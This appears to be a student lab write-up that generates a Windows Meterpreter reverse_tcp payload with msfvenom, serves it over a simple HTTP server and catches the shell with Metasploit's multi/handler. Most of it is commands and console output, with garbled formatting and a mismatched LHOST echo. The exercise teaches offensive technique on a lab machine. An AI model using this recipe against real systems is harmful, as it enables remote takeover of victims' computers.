

Ex. No.: 8**METASPLOIT**

Aim: To set up Metasploit framework and exploit reverse_tcp in Windows 8 machine remotely.

Algorithm:

1. Generate payload to be inserted into the remote machine
2. Set the LHOST and it's port number
3. Open msfconsole.
4. Use exploit/multi/handler
5. Establish reverse_tcp with the remote windows 8 machine.
6. Run SimpleHTTPServer with port number 8000.
7. Open the web browser in Windows 8 machine and type http://172.16.8.155:8000
8. In KaliLinux, type sysinfo to get the information about Windows 8 machine
9. Create a new directory using mkdir command.
10. Delete the created directory.

Output:

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp  
LHOST=172.16.8.155 LPORT=443 -f exe > /root/hi.exe
```

```
[-] No platform was selected, choosing Msf::Module::Platform::Windows
```

```
from the payload [-] No arch selected, selecting arch: x86 from the payload
```

```
No encoder or badchars specified, outputting raw
```

```
payload Payload size: 341 bytes
```

```
Final size of exe file: 73802 bytes root@kali:~#
```

```
msfconsole
```

```
[-] ***Rting the Metasploit Framework console...\
```

```
[-] * WARNING: No database support: could not connect to server:
```

```
Connection refused Is the server running on host "localhost" (::1) and
```

accepting

TCP/IP connections on port 5432?

could not connect to server: Connection refused

Is the server running on host "localhost" (127.0.0.1) and

accepting TCP/IP connections on port 5432?

[-] ***

```

-
/\  \      _      _  _/_/_
|| \ / |_____\ \      _  _|| / \ _ \ \
|| \ / || _ \ | - | ^ / _ \ | - _ / || || || | - |
|_ | || | _ | | _ / - \ _ \ \ || | \ _ / | | _
    | / | _ / \ _ \ ^ \ \ _ / \ \ _ | | \ \ _ \

```

= [metasploit]
v5.0.41-dev

+ -- == [1914 exploits - 1074 auxiliary - 330 post]

+ -- == [556 payloads - 45 encoders - 10 nops]

+ -- == [4 evasion]

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload

windows/meterpreter/reverse_tcp payload =>

windows/meterpreter/reverse_tcp msf5 exploit(multi/handler)

> show options

Module options (exploit/multi/handler):

Name	Current Setting	Required	Description
------	-----------------	----------	-------------

Payload options

(windows/meterpreter/reverse_tcp): Name

Current	Setting	Required	Description
---------	---------	----------	-------------

---	-----	-----	-----
-----	-------	-------	-------

EXITFUNC	process	yes	Exit technique (Accepted: ", seh, thread, process, none)
LHOST	yes		The listen address (an interface may be specified)

LPORT	4444	yes	The listen port
-------	------	-----	-----------------

Exploit target:

Id	Name
----	------

0	Wildcard Target
---	-----------------

```
msf5 exploit(multi/handler) > set LHOST 172.16.8.155 LHOST
```

```
=> 172.16.8.156
```

```
msf5 exploit(multi/handler) > set LPORT 443 LPORT
```

```
=> 443
```

```
msf5 exploit(multi/handler) > exploit
```

```
[*] Started reverse TCP handler on 172.16.8.155:443
```

Result: Thus, the setup of Metasploit framework and exploit reverse_tcp in Windows 8 machine remotely has been executed successfully.